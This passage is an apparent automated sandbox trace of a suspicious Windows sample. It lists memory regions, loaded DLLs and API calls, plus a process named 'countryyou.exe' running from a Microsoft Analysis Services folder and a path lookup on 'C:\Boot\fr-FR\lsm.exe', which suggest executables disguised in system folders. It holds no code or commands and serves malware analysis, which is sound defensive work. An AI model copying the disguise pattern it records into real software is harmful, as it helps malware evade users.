monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8866 start_va = 0x7fe949f0000 end_va = 0x7fe94a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8900 start_va = 0x7fe94a70000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a70000" filename = "" Region: id = 8901 start_va = 0x7fe94a80000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a80000" filename = "" Region: id = 8923 start_va = 0x7fef7460000 end_va = 0x7fef7462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8938 start_va = 0x7fef5450000 end_va = 0x7fef559efff monitored = 1 entry_point = 0x7fef5451090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8947 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 8975 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 8976 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 8977 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9010 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9025 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9040 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 9056 start_va = 0x1ad90000 end_va = 0x1ae2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 9074 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9119 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9120 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 9121 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 9133 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9134 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9159 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9182 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9192 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9208 start_va = 0x1ae30000 end_va = 0x1ae91fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9270 start_va = 0x1af00000 end_va = 0x1af3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 9271 start_va = 0x1afa0000 end_va = 0x1b09ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afa0000" filename = "" Region: id = 9272 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9273 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9343 start_va = 0x1b1a0000 end_va = 0x1b29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 9344 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9345 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9346 start_va = 0x2a0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x2a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9347 start_va = 0x2a0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x2a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9348 start_va = 0x2a0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x2a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9349 start_va = 0x2a0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x2a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9350 start_va = 0x2a0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x2a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9351 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9430 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9431 start_va = 0x1b330000 end_va = 0x1b42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 9432 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9459 start_va = 0x1b5a0000 end_va = 0x1b69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5a0000" filename = "" Region: id = 9460 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9502 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9530 start_va = 0x1b6d0000 end_va = 0x1b7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6d0000" filename = "" Region: id = 9531 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9559 start_va = 0x7fef1bd0000 end_va = 0x7fef283efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9565 start_va = 0x7fef5250000 end_va = 0x7fef5444fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9588 start_va = 0x7fef0b20000 end_va = 0x7fef1bc5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9608 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9619 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 9675 start_va = 0x7fef8940000 end_va = 0x7fef8955fff monitored = 1 entry_point = 0x7fef894e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9676 start_va = 0x1b7d0000 end_va = 0x1baa1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9677 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9678 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 9679 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 9680 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 9681 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 9787 start_va = 0x300000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 9788 start_va = 0x310000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 9789 start_va = 0x320000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 9790 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9791 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 9792 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 9793 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 9794 start_va = 0x920000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 9795 start_va = 0x970000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 9796 start_va = 0x930000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 9797 start_va = 0x940000 end_va = 0x94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 9798 start_va = 0x950000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 9799 start_va = 0x960000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 9927 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 9928 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 9959 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 10161 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 10162 start_va = 0xc40000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 10163 start_va = 0xc50000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 10164 start_va = 0xc60000 end_va = 0xc6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 10165 start_va = 0xc70000 end_va = 0xc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 10166 start_va = 0xc80000 end_va = 0xc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 10167 start_va = 0x1110000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 10168 start_va = 0x1120000 end_va = 0x112ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 10169 start_va = 0x1130000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 10170 start_va = 0x1a620000 end_va = 0x1a62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a620000" filename = "" Region: id = 10171 start_va = 0x1a630000 end_va = 0x1a63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a630000" filename = "" Region: id = 10172 start_va = 0x1a640000 end_va = 0x1a64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a640000" filename = "" Region: id = 10256 start_va = 0x1a650000 end_va = 0x1a65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a650000" filename = "" Region: id = 10257 start_va = 0x1a660000 end_va = 0x1a66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a660000" filename = "" Region: id = 10258 start_va = 0x1a670000 end_va = 0x1a67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a670000" filename = "" Region: id = 10259 start_va = 0x1a780000 end_va = 0x1a78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a780000" filename = "" Region: id = 10260 start_va = 0x1a790000 end_va = 0x1a79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a790000" filename = "" Region: id = 10261 start_va = 0x1a7a0000 end_va = 0x1a7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7a0000" filename = "" Region: id = 10262 start_va = 0x1a7b0000 end_va = 0x1a7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7b0000" filename = "" Region: id = 10263 start_va = 0x1a7c0000 end_va = 0x1a7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7c0000" filename = "" Region: id = 10282 start_va = 0x1a7d0000 end_va = 0x1a7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7d0000" filename = "" Region: id = 10289 start_va = 0x1b0d0000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0d0000" filename = "" Region: id = 10290 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 10291 start_va = 0x7fe94a90000 end_va = 0x7fe94a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 10340 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10341 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10342 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10343 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10344 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10399 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 10400 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 10401 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 10447 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10465 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10484 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10504 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Thread: id = 356 os_tid = 0x6d0 [0225.480] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.155] EtwEventRegister (in: ProviderId=0x26257f0, EnableCallback=0x1adb135c, CallbackContext=0x0, RegHandle=0x26257d0 | out: RegHandle=0x26257d0) returned 0x0 [0244.648] EtwEventRegister (in: ProviderId=0x2629f60, EnableCallback=0x1adb13ac, CallbackContext=0x0, RegHandle=0x2629f40 | out: RegHandle=0x2629f40) returned 0x0 [0246.310] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x253d50*=0xd8, lpdwindex=0x14e714 | out: lpdwindex=0x14e714) returned 0x0 [0247.322] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a904640*=0x224, lpdwindex=0x14e404 | out: lpdwindex=0x14e404) returned 0x0 [0247.948] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x253d50*=0xd8, lpdwindex=0x14e714 | out: lpdwindex=0x14e714) returned 0x0 [0267.349] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a904690*=0x24, lpdwindex=0x14e404 | out: lpdwindex=0x14e404) returned 0x0 [0267.855] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x253d50*=0xd8, lpdwindex=0x14e714) Thread: id = 403 os_tid = 0x270 Thread: id = 404 os_tid = 0x5a8 [0227.086] CoGetContextToken (in: pToken=0x1a8df380 | out: pToken=0x1a8df380) returned 0x800401f0 [0227.086] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 406 os_tid = 0x508 Thread: id = 465 os_tid = 0x884 [0245.730] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.731] CoGetContextToken (in: pToken=0x1b09fb10 | out: pToken=0x1b09fb10) returned 0x0 [0245.731] CObjectContext::QueryInterface () returned 0x0 [0245.732] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.732] Release () returned 0x0 [0245.732] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.732] CoUninitialize () [0258.634] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b09df48 | out: phkResult=0x1b09df48*=0x0) returned 0x2 [0258.634] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0258.640] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\lsm.exe", nBufferLength=0x105, lpBuffer=0x1b09ea80, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\lsm.exe", lpFilePart=0x0) returned 0x15 Thread: id = 466 os_tid = 0x888 Thread: id = 484 os_tid = 0x8d0 Thread: id = 503 os_tid = 0x91c Thread: id = 504 os_tid = 0x920 Thread: id = 527 os_tid = 0x984 [0248.636] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0248.636] CoGetContextToken (in: pToken=0x1b7cf5b0 | out: pToken=0x1b7cf5b0) returned 0x0 [0248.636] CObjectContext::QueryInterface () returned 0x0 [0248.636] CObjectContext::GetCurrentThreadType () returned 0x0 [0248.636] Release () returned 0x0 [0248.636] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0248.637] CoUninitialize () Thread: id = 547 os_tid = 0x9dc Process: id = "92" image_name = "countryyou.exe" filename = "c:\\program files\\microsoft analysis services\\as oledb\\countryyou.exe" page_root = "0x76aa2000" os_pid = "0x6e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4d8" cmd_line = "\"C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7550 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7551 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7552 start_va = 0xb0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7553 start_va = 0xc80000 end_va = 0xd57fff monitored = 1 entry_point = 0xd4f1ee region_type = mapped_file name = "countryyou.exe" filename = "\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\countryyou.exe") Region: id = 7554 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7555 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7556 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7557 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7558 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7559 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 7560 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7561 start_va = 0x1b0000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 7562 start_va = 0x7fefa8a0000 end_va = 0x7fefa90efff monitored = 1 entry_point = 0x7fefa8a1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7563 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7564 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7581 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7582 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7583 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7584 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7585 start_va = 0x230000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 7586 start_va = 0x310000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 7587 start_va = 0x410000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 7788 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7789 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7790 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7791 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7792 start_va = 0x500000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 7793 start_va = 0x500000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 7794 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 7795 start_va = 0x7fef7fc0000 end_va = 0x7fef8068fff monitored = 1 entry_point = 0x7fef7fc1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7825 start_va = 0x7fefa890000 end_va = 0x7fefa892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7948 start_va = 0x7fefdef0000 